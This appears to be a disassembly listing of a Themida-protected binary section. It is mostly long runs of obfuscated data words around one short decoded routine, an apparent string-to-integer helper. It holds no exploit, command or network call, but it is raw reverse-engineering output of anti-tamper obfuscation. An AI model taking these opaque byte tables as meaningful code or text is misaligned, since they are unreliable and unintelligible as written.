		dd 0C5F57F72h, 0B8969871h, 81990151h, 0AD712434h, 60BB4307h
		dd 6A4FBA12h, 10E9FFh, 185A0000h, 8B8EC807h, 0D12A894Dh
		dd 480D736Dh, 95FF2445h, 61F14F9h, 6123EB80h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E3C35242h, 0B5C90613h
		dd 60340D87h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	60C35646h, 4D468D8Bh, 8D89061Fh, 61F31D1h, 9D8B01FEh
		dd 61F1DE9h, 0F5D9D33h,	0A168061Fh, 0E9D3147Dh,	14h, 5870A39Dh
		dd 5B62D9B4h, 0ECE5CA33h, 51870922h, 0F3497FD6h, 0DF240481h
		dd 292CEB82h, 1F129595h, 0FFF6A06h, 186h, 95FFF900h, 61F14F9h
		dd 0FE9h, 25FC0000h, 0A9422094h, 0C7EAC9E5h, 0EEF5841h
		dd 0C92DBB61h, 0BD8D710Ch, 61F31F9h, 8BD78B66h,	9D291C4Fh
		dd 61F15A1h, 810F016Ah,	5, 51CA8166h, 52505009h, 5B5A5351h
		dd 5256310Fh, 585A5B5Ah, 0F240C89h, 858DD8B7h, 6223DEBh
		dd 20D58D89h, 0D0FF061Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 71C35747h, 0F95C7D72h, 0B6204F8Bh, 80036AC9h
		dd 509172EFh, 0F89B352h, 13E831h, 541F0000h, 847497Bh
		dd 0DE4CBF84h, 2746B000h, 87D441ABh, 5B616032h,	0BA50585Ah
		dd 5926423Ch, 80F48A91h, 858D11D3h, 6223DEBh, 0BE9h, 0AA581600h
		dd 62AC76E9h, 7C71E170h, 8B50D0FFh, 1F2A5995h, 9D8B5B06h
		dd 61F07D1h, 31F9BD8Dh,	7E8061Fh, 0E6000000h, 575C5053h
		dd 0F78039BFh, 4F8B5BF6h, 0B866601Ch, 6A615C97h, 79BD8901h
		dd 3061F15h, 1F02859Dh,	52509106h, 5BD18B50h, 0F3BB310Fh
		dd 5A15B839h, 8B665058h, 0E86091D6h, 0Bh, 42F31683h, 0CA7D280Ah
		dd 80D9078Fh, 0BA5B2EE1h, 4B148A2Ch, 0EB858D61h, 8B06223Dh
		dd 1F32C59Dh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 4989C356h, 39610A95h
		dd 0F82F257h, 128Eh, 6E800h, 50B40000h,	0C6CDDF37h, 19A99589h
		dd 95A061Fh, 1F2AD5B5h,	204F8B06h, 23E38166h, 0F3816652h
		dd 36A2B4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0DBC35747h, 0D1D316A3h,	5CC84554h, 4E66BA6Fh, 605002D1h
		dd 14E9CF8Bh, 0F3000000h, 6881BC95h, 7D3A2395h,	4D860154h
		dd 5A5683D6h, 61DD8785h, 89240C89h, 1F13AD9Dh, 0EB858D06h
		dd 0F06223Dh, 28Fh, 29D18B00h, 1F1CE995h, 89D0FF06h, 1F2EB58Dh
		dd 468D8B06h, 0F061F4Dh, 887h, 9D0B5000h, 61F1B2Dh, 0E801FE5Ah
		dd 14h,	5C380D63h, 0A615D4BFh, 21A52955h, 6E03D5D9h, 93E90141h
		dd 830F51h, 5B000000h, 46858B5Bh, 6A061F4Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0C91C356h, 9F163741h, 0F31677Dh, 0FED0BFh, 0EF712FBBh
		dd 6A016A41h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 66CFC353h, 4E8D18Bh, 0FF000000h
		dd 8BFFFF9Fh, 0B2BA50DAh, 8B76639Ah, 66042444h,	8BD1C5BAh
		dd 0BA666000h, 89610B2Dh, 60042444h, 8B665861h,	0F5858DD1h
		dd 6A06223Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 8BEDC356h, 0FFABD7DAh,	0B9958BD0h
		dd 83061F2Dh, 1F1AD9BDh, 840F0006h, 135h, 0B58B5060h, 61F05BDh
		dd 0BD836159h, 61F0EF5h, 1E850F01h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 237C353h, 0E3802C3Fh, 0FF8D8D38h, 6A06223Dh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B60EC356h, 0FC63F092h, 0B58905BEh, 61F3041h, 14E8036Ah
		dd 35000000h, 9F02D71Bh, 45FD5349h, 118962C7h, 0D3CD1A7Fh
		dd 0FF6FE36h, 6A5AD8BFh, 6D858901h, 0FF061F12h,	6A74B3D1h
		dd 56006A01h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 668AD662h, 77C1C381h, 0FE9h, 0A2203400h
		dd 78917644h, 4A2930ABh, 0BF506CE5h, 0C830Fh, 8E0F0000h
		dd 6, 1041958Bh, 16A061Fh, 4DCB8166h, 6AD1FF74h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 7F90C356h, 7DF8F143h, 0F907F29Ah, 3C5E47E8h,	55006AFAh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3EB178E7h, 94267091h, 6A206AF5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BAC5C355h
		dd 4F576305h, 4BE28166h, 89FF6A81h, 1F2AC185h, 958D2906h
		dd 0FF061F1Fh, 1F14F995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 419D8977h
		dd 0B8061F12h, 0
		dd 7E8h, 7DA5BD00h, 94D0B25h, 0F5BD78Bh, 480h, 0D68B5300h
		dd 0FC00B5Ah, 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0D13A3F20h, 817A1EDDh
		dd 14E9h, 0E4672A00h, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh
		dd 9A42E3C0h, 81666061h, 0F53A4EF6h, 61BD8361h,	61F01h
		dd 4F840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 62954C3h, 12BF2A77h, 0FFD81A10h
		dd 1F0F1195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 9B099EDh,	1F078985h, 51858B06h, 6A061F17h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 3546C355h, 6DBD899Ch, 66061F0Dh, 195C281h
		dd 8B0000C6h, 8E958D6h,	68000000h, 986B6737h, 66E4FD80h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F6D0E7C3h, 840F04C1h, 7Ch, 718D8B60h, 8B061F13h
		dd 6DE961F9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A010C353h,	398529F0h
		dd 0BA061F02h, 284F2F6Fh, 1BB5B58Bh, 69B6061Fh,	1180C681h
		dd 8D0F0000h, 6, 2A59952Bh, 958B061Fh, 61F11ADh, 6C7h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 7DBFFBC3h, 55006A5Eh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F88354h, 0A9E840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E89DA1C3h, 0Ch, 6AA5D88Eh, 0AAD96CBCh, 4DD75CD0h, 0B782D381h
		dd 665B58A1h, 83AF81BAh, 850F01F8h, 1B5h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0B6C35545h, 0E9EF9CEFh
		dd 12h,	0A84F34D7h, 6EF801Ah, 0F36E26Dh, 68997582h, 0B501EFDDh
		dd 61F30BDh, 0B8h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0C57830Dh, 0CE9CFh, 0ABE30000h
		dd 6A9D34BDh, 0C49FE704h, 0C280384Fh, 0FC00B5Ah, 0D284h
		dd 0D68B6600h, 5820Fh, 0F7BA0000h, 832DAE49h, 840F01F8h
		dd 0D5h, 12E9h,	67E28400h, 938D3DACh, 1E60CF5Eh, 0CEFEBE07h
		dd 83CD67B9h, 840F03F8h, 53h, 0BA66C02Bh, 0BD8DA4DCh, 5B7974h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C0C35343h
		dd 3DC445A8h, 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0F8CFE6C3h, 7BE68ABBh, 0B871D280h
		dd 1, 1B05B589h, 0BD8D061Fh, 5B7974h, 6AE7FFF5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 516FC352h, 5211528Eh, 8BA5178Ah, 1F2F7995h, 11852906h
		dd 51061F2Eh, 8D5A51B2h, 1F43D2BDh, 3810F06h, 0F000000h
		dd 41E9D0BFh, 89000002h, 1F1921BDh, 0A185C706h,	5061F4Dh
		dd 60000000h, 2A65958Bh, 0B861061Fh, 5,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0AEC35242h, 439360FAh
		dd 0B2C1B125h, 512DBBDDh, 35E95936h, 2B000008h,	1F0C5595h
		dd 2F88306h, 107850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 3611CEC3h, 0B589D07Ch
		dd 61F2BA5h, 0B8D88Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4A4CC353h
		dd 8E3F942Ah, 0BF970D0h, 8C840FC0h, 8B000000h, 1F10919Dh
		dd 1F88306h, 0FF43840Fh, 6060FFFFh, 60B6EC80h, 860F6161h
		dd 2, 8361FE8Bh, 840F03F8h, 0FFFFFEC7h,	259D8Bh, 0B8061Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9EBBC353h, 661EF51Eh, 0A931F381h
		dd 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 29F2D8C3h, 1F312995h, 31E7FF06h
		dd 1F066585h, 8DDA8A06h, 1F45CABDh, 0D7BF0F06h,	0F3E9h
		dd 8E800h, 0F5810000h, 0BC7A3BB7h, 0B5892A9Ch, 61F2365h
		dd 3F8835Ah, 19850Fh, 0FD8A0000h, 475EBD8Dh, 0CB80061Fh
		dd 0FD8A566Eh, 0C2E95Bh, 0FA8A0000h, 839CCA80h,	850F05F8h
		dd 10h,	1EF28166h, 6EAE93Eh, 0BD290000h, 61F0741h, 0F06F883h
		dd 1985h, 0D1950300h, 8D061F0Eh, 1F4956BDh, 0E9D88B06h
		dd 88h,	2C5DBD89h, 0F883061Fh, 34850F07h, 0F5000000h, 365BD8Dh
		dd 0BD31061Fh, 61F1885h, 0E6E9DA8Ah, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 70FC352h, 83D68B66h,	850F0AF8h, 3Ch,	0BD8D0CB2h, 61F4B4Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 50C35545h
		dd 0B8359A7Eh, 8120F9E6h, 480D72C2h, 6E914h, 0BD890000h
		dd 61F10C9h, 8B525257h,	1F2FE19Dh, 8B5A5A06h, 1F2E1595h
		dd 2605B906h, 0DB816C36h, 7DE5F6C4h, 0F003F83h,	4284h
		dd 0B9958900h, 30061F09h, 0D18B600Fh, 5F22B866h, 6AC9D161h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 13E9C351h, 68E0F47h, 23000000h, 1F06C595h
		dd 0FFB6E906h, 5FF8FFFFh, 0EE8h, 78A2CC00h, 0DEE71D22h
		dd 0B1FE4B09h, 66CE69C4h, 0EA50CA81h, 4ABD895Ah, 89061F4Dh
		dd 1F2FA585h, 0D98D8D06h, 6A061F0Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C1A0C350h
		dd 3B6910Ch, 8D296581h,	61F0A65h, 0EE1B5FFh, 0EB80061Fh
		dd 0EB858DB9h, 500621A8h, 541DBD8Dh, 8D8D061Fh,	61F6E5Fh
		dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 1F6DE7B5h
		dd 778D8D06h, 2B061F6Eh, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 61F0161h, 0FF067400h, 1F0F1195h,	4AB58B06h
		dd 8D061F4Dh, 21A8EB85h, 8DD0FF06h, 1F41B085h, 0C7D0FF06h
		dd 1F1FB185h, 106h, 7DA58B00h, 8B061F32h, 1F1245B5h, 65AD8B06h
		dd 33061F07h, 0CC2C0h, 869958Bh, 6A061Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 518978C3h
		dd 5A0BC380h, 18D9BD83h, 0F00061Fh, 2484h, 11E800h, 79850000h
		dd 25198A14h, 0C2B03CAFh, 0B2B0CC67h, 29207BCDh, 1F2E5995h
		dd 95FF5B06h, 61F0AD9h,	0CDBD83F8h, 61F09h, 1CD850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 578A92C3h, 0F18ECECDh, 8589AD5Dh, 61F202Dh, 8D8B5760h
		dd 61F0599h, 18BBB85Bh,	83615D0Bh, 1F0EF5BDh, 850F0106h
		dd 187h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	5C35242h, 0B5240BD6h, 0D88A0C74h, 0F79BD83h, 0F00061Fh
		dd 15684h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 414788D7h, 4B1D9ED8h, 0B70F40C2h
		dd 0C19589DFh, 83061F0Bh, 1F4D9DBDh, 840F0006h,	11Bh, 66D958Bh
		dd 858D061Fh, 621A8EBh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0DFC35747h, 0B6DB48D3h, 8B6BC0E5h, 1F003D9Dh
		dd 4AB58B06h, 0E9061F4Dh, 0Ah, 3152EEA4h, 0F1B22C27h, 0D0FF4B59h
		dd 54DB8166h, 319D29F3h, 0C6061F12h, 1F202585h,	0C4B65406h
		dd 54977568h, 0E85250EFh, 0Ch, 0F253C812h, 5C5053E6h, 9539BF57h
		dd 0F5B5A56h, 0D38B6631h, 3481585Ah, 1A298124h,	0D8BF0F10h
		dd 20D9B5FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0FE144DC3h, 0EA81D98Bh, 4DF9129Ah
		dd 394D858Dh, 0E280061Fh, 2BD0FF45h, 1F23799Dh,	66006A06h
		dd 0FF6AD18Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	65C35040h, 48C6EAAEh, 31DCE0F4h, 45950B09h, 0FF061F2Ch
		dd 0FD958BD0h, 0FF061F10h, 1F1EE5B5h, 0C98D8906h, 0FF061F14h
		dd 1F0EE195h, 819D8B06h, 8B061F18h, 1F4D4AB5h, 85895706h
		dd 61F3035h, 0BD89C35Bh, 61F0E15h, 1751B58Bh, 0BB66061Fh
		dd 0F60B287Eh, 32840Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FBE8EC3h, 68Ch, 858D2900h
		dd 0C6061F0Eh, 9D890006h, 61F11F5h, 4D528589h, 6A061Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0ADE6A4C3h, 0F94BA5DBh, 0F00F883h, 2B384h, 0DB805000h
		dd 0B85B74h, 80000000h,	0F8830ECEh, 0D5840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 545CC351h, 0C6AB36A6h, 6E9BD89h, 0F883061Fh
		dd 72850F02h, 66000000h, 83ACEA81h, 43CD858Dh, 0D380061Fh
		dd 9292D28h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 850F34C3h, 10h, 0BE9h, 2B4A4F00h
		dd 36FA0C14h, 0DB8A0E97h, 11E9h, 0CD204500h, 3EDEC2F1h
		dd 0F5C71EA0h, 4269D01Dh, 0F50E9D8h, 384h, 0D38B6600h
		dd 0F240489h, 8BC3D1BFh, 1F31B99Dh, 0B806h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0BDCCC2C3h, 29750FBFh, 1F09F19Dh, 1CAE906h, 0D08B0000h
		dd 1B8h, 0A5950100h, 8D061F18h,	1F43D2BDh, 5880F06h, 0BB000000h
		dd 4345662Ah, 97E9h, 83FA8A00h,	850F02F8h, 17h,	0B71BD31h
		dd 0BD8D061Fh, 61F45CAh, 0E9D18B66h, 78h, 83F6DB80h, 850F03F8h
		dd 53h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0CAC35646h, 8D546A8Dh, 1F475EBDh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 717F0EB2h
		dd 0B589D08Ah, 61F02E1h, 1BE9h,	8356B600h, 850F05F8h, 10h
		dd 9BEB8166h, 9EE934h, 95290000h, 61F0E4Dh, 6840F57h, 33000000h
		dd 1F1BAD95h, 2605B906h, 0D38B6C36h, 83D88B66h,	840F003Fh
		dd 78h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 3C35040h, 47A1E90Fh,	369AF910h, 0B81958Bh, 0F30061Fh
		dd 0CB58D89h, 9D29061Fh, 61F1AADh, 0BE8C9D1h, 0A0000000h
		dd 0BD2C8806h, 0E85CB3DFh, 0EE8D179h, 9E000000h, 3CAA5D1Ch
		dd 87F0367Dh, 5EF87C1Eh, 25BD8986h, 5A061F02h, 0E9FC475Ah
		dd 0FFFFFF8Bh, 0D2BB6650h, 958B5A58h, 61F1171h,	0F05F883h
		dd 6F85h, 95236000h, 61F134Dh, 0D3BF0F61h, 0FD98C66h, 0C1F6D3B7h
		dd 43850F04h, 80000000h, 0B820E3h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0FBF2C350h, 0B339C56Dh, 8952D4F6h, 1F1FA58Dh, 0DDB52906h
		dd 0E9061F2Ch, 18h, 0EF9958Bh, 858B061Fh, 61F2AA1h, 0E0FFD8B2h
		dd 9D8BDE8Bh, 61F1415h,	0EE1BD83h, 0F00061Fh, 10285h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 86BA6670h, 5E950E2h,	25000000h, 14ECB710h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 89EEC350h, 85C65E75h, 61F2025h, 50006A45h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 1BA061D3h, 0A4975C90h, 0BD958B70h, 68061F0Dh, 9467BB20h
		dd 81D78B66h, 0D2492434h, 6A1A15h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 664C7BC3h, 0E90A6EBBh
		dd 5, 0E9D1AEDAh, 0D9B5FF43h, 8B061F20h, 1F079595h, 4D858D06h
		dd 8B061F39h, 1F05999Dh, 6AD0FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 21AAC353h
		dd 10EB80F0h, 8589DAB3h, 61F0EE1h, 5758D68Bh, 835BD18Bh
		dd 1F4DA1BDh, 840F0006h, 62h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 9EC35040h, 154457EBh, 3B8F380h
		dd 1F010995h, 0E5B5FF06h, 66061F1Eh, 8042D281h,	0EE195FFh
		dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 880F1EC3h, 6, 0AF19D8Bh, 0F883061Fh, 75850F00h
		dd 23000001h, 1F30FD95h, 0C9F38106h, 8341D393h,	1F2C31BDh
		dd 840F0006h, 99h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 8FC35141h, 1C1BDCC2h,	89440F28h, 1F0CF985h
		dd 31B5FF06h, 8B061F2Ch, 1F12A59Dh, 1B806h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 63C65C3h, 0A5FA35ECh, 0E8800534h, 5,	0F25F14ACh, 35B5311Ah
		dd 5B061F1Bh, 272E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BB66C1C4h, 0B70FE2E0h
		dd 0E5B5FFD3h, 6A061F1Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 6D7CC351h, 0D7001B30h
		dd 1EE5B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0D6612C3h, 6AA7781Dh, 7E926h, 3AF0000h
		dd 0DE2BAC8h, 0FE9E1h, 0E3C30000h, 0FA393AD7h, 0B3D41DD1h
		dd 4738AEA3h, 0E1B5FFB1h, 6A061F0Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 94F3C353h
		dd 4D2DC2C6h, 665CCE6Bh, 0ACE9D68Bh, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 74B9C356h, 0D0BAA6D0h, 51006A5Fh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0D1B2C619h
		dd 16E5BD83h, 0F00061Fh, 9285h,	8163BA00h, 9D8B6722h, 61F0211h
		dd 202585C6h, 0F4D061Fh, 4768D8BFh, 50E011D1h, 28F0F52h
		dd 60000000h, 0BA310F61h, 3C743ED4h, 3481585Ah,	24A7EF24h
		dd 3820F44h, 0F000000h,	0B5FFD3B7h, 61F2C51h, 8830FFCh
		dd 0F000000h, 286h, 8D616000h, 1F394D85h, 0DF8B6606h, 5E9D0FFh
		dd 0A3000000h, 47F07685h, 16E58589h
		dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 256B92C3h, 12715FE9h, 0B8E401C2h,	0
		dd 9D1B70Fh, 1F0DAD8Dh,	4ABD8906h, 6A061F4Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7C95C353h, 0A3FBD281h, 0C00B31F6h, 28840Fh, 0B7500000h
		dd 84E95B89h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0A6E2C351h,	0B5FF7E64h
		dd 61F0EE1h, 1F3D9D8Bh,	858D061Fh, 621A8EBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 8166605Ch
		dd 89D2EDD6h, 1F0D999Dh, 8A506106h, 240489DEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 21858974h
		dd 50061F12h, 1DBD8D56h, 8D061F54h, 1F78D48Dh, 23BCB806h
		dd 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh, 61F2C31h
		dd 8B067400h, 1F0A798Dh, 0B8C93306h, 0
		dd 840FC00Bh, 99h, 161BD83h, 7400061Fh,	1195FF06h, 0B8061F0Fh
		dd 0
		dd 975C00Bh, 4D52BD83h,	7401061Fh, 52BD8309h, 2061F4Dh
		dd 0B58B0E75h, 61F4D4Ah, 0A8EB858Dh, 0D0FF0621h, 41B0858Dh
		dd 0D0FF061Fh, 2329BD83h, 7502061Fh, 7DA58B2Fh,	8B061F32h
		dd 1F2C3185h, 24048906h, 1FB185C7h, 1061Fh, 0B58B0000h
		dd 61F4D4Eh, 765AD8Bh, 1B8061Fh, 0C2000000h, 0EB000Ch
		dd 1FB185C7h, 1061Fh, 0A58B0000h, 61F327Dh, 1245B58Bh
		dd 0AD8B061Fh, 61F0765h, 0CC2C033h, 0D9BD8300h,	61F18h
		dd 0BD830F74h, 61F0AD9h, 0FF067400h, 1F0AD995h,	4AB58B06h
		dd 0C3061F4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	10C35242h, 2355C02Fh, 2F66D47Ah, 0DF8B66C6h, 6AD68B66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0D2B4C352h, 5E9305Dh, 2C000000h, 0F4B37755h
		dd 68C0F60h, 29000000h,	1F329D85h, 0DA816606h, 2B6188AFh
		dd 21958BD2h
		db 10h,	1Fh, 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_53572B
; ---------------------------------------------------------------------------


loc_535729:				; CODE XREF: Themida_:0053572Ej
		inc	eax
		inc	edi


loc_53572B:				; CODE XREF: Themida_:00535727j
		cmp	byte ptr [edi],	0
		jnz	short loc_535729
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_53575A
; ---------------------------------------------------------------------------


loc_535737:				; CODE XREF: Themida_:0053575Cj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_53574F
; ---------------------------------------------------------------------------


loc_53574C:				; CODE XREF: Themida_:00535752j
		mul	ebx
		dec	esi


loc_53574F:				; CODE XREF: Themida_:0053574Aj
		cmp	esi, 0
		ja	short loc_53574C
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_53575A:				; CODE XREF: Themida_:00535735j
		or	eax, eax
		jnz	short loc_535737
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 55C35646h
		dd 2A3DA358h, 89CB63CDh, 1F0E858Dh, 8B48B206h, 23D0E9C1h
		dd 280002h, 0D57F0258h,	3F0059h, 0DA710258h, 59h, 0DA710000h
		dd 0FF680059h, 2460012h, 20000h, 10000h, 30000h, 0DCF80000h
		dd 0FA33h, 4 dup(0)
		dd 22180000h, 0B5BE0054h, 69690053h, 0BD0053h, 0AFD60054h
		dd 0B7080053h, 0D4550053h, 0BAD50053h, 20770053h, 0CC4B0054h
		dd 0EAD10053h, 0E9050053h, 0B0730053h, 0DA350053h, 0AFB0053h
		dd 0DB220054h, 149B0053h, 0C4C30054h, 0B25F0053h, 842F0053h
		dd 0D11F0053h, 0B2C30053h, 206E0053h, 0D4E10054h, 0AA9B0053h
		dd 81B80053h, 0F8CD0053h, 6BA60053h, 14E20053h,	9D770054h
		dd 0EF640053h, 83770053h, 0AC370053h, 88690053h, 17320053h
		dd 4D90054h, 63350054h,	0A50F0053h, 0EE140053h,	0F9CA0053h
		dd 0DBDD0053h, 0F0880053h, 0A0860053h, 0FB6E0053h, 0E1030053h
		dd 0D50053h, 0D7370054h, 0B69A0053h, 1D60053h, 0C870054h
		dd 0C8600054h, 820053h,	0A49D0054h, 0E6600053h,	0B5260053h
		dd 0E12E0053h, 6A490053h, 5EEE0053h, 0D63F0053h, 74ED0053h
		dd 0BBB20053h, 7FF50053h, 0DF2F0053h, 0DAEB0053h, 0D0B50053h
		dd 0DB160053h, 8B230053h, 77C30053h, 0F4B40053h, 93070053h
		dd 81EE0053h, 75F00053h, 0EDDD0053h, 0A2D40053h, 62BA0053h
		dd 0AEB30053h, 0A3F80053h, 20240053h, 0B2D10054h, 0F90C0053h
		dd 797E0053h, 96FD0053h, 0B1EE0053h, 0FB500053h, 0BDE70053h
		dd 0FF130053h, 0FE1D0053h, 75270053h, 0AAA40053h, 846B0053h
		dd 0ABF80053h, 812C0053h, 8BCA0053h, 0CB2E0053h, 0CD870053h
		dd 0FD860053h, 0D3E10053h, 0CF6E0053h, 4ED0053h, 66FF0054h
		dd 0C1E10053h, 90690053h, 0F6CB0053h, 0D1B80053h, 6B430053h
		dd 0FDAF0053h, 0DC660053h, 5E1F0053h, 5100053h,	0E2380054h
		dd 89BC0053h, 89CC0053h, 15D00053h, 62EA0054h, 0AC00053h
		dd 72610054h, 22E90053h, 7F240054h, 9A0E0053h, 0BDD50053h
		dd 68BA0053h, 10FE0053h, 0B3B70054h, 12970053h,	0AC480054h
		dd 0DBC00053h, 83920053h, 8CCE0053h, 8DBB0053h,	9D800053h
		dd 73900053h, 856F0053h, 0D8D70053h, 1E730053h,	0D0EC0054h
		dd 0F44E0053h, 63F30053h, 0C2AD0053h, 9CAE0053h, 0C240053h
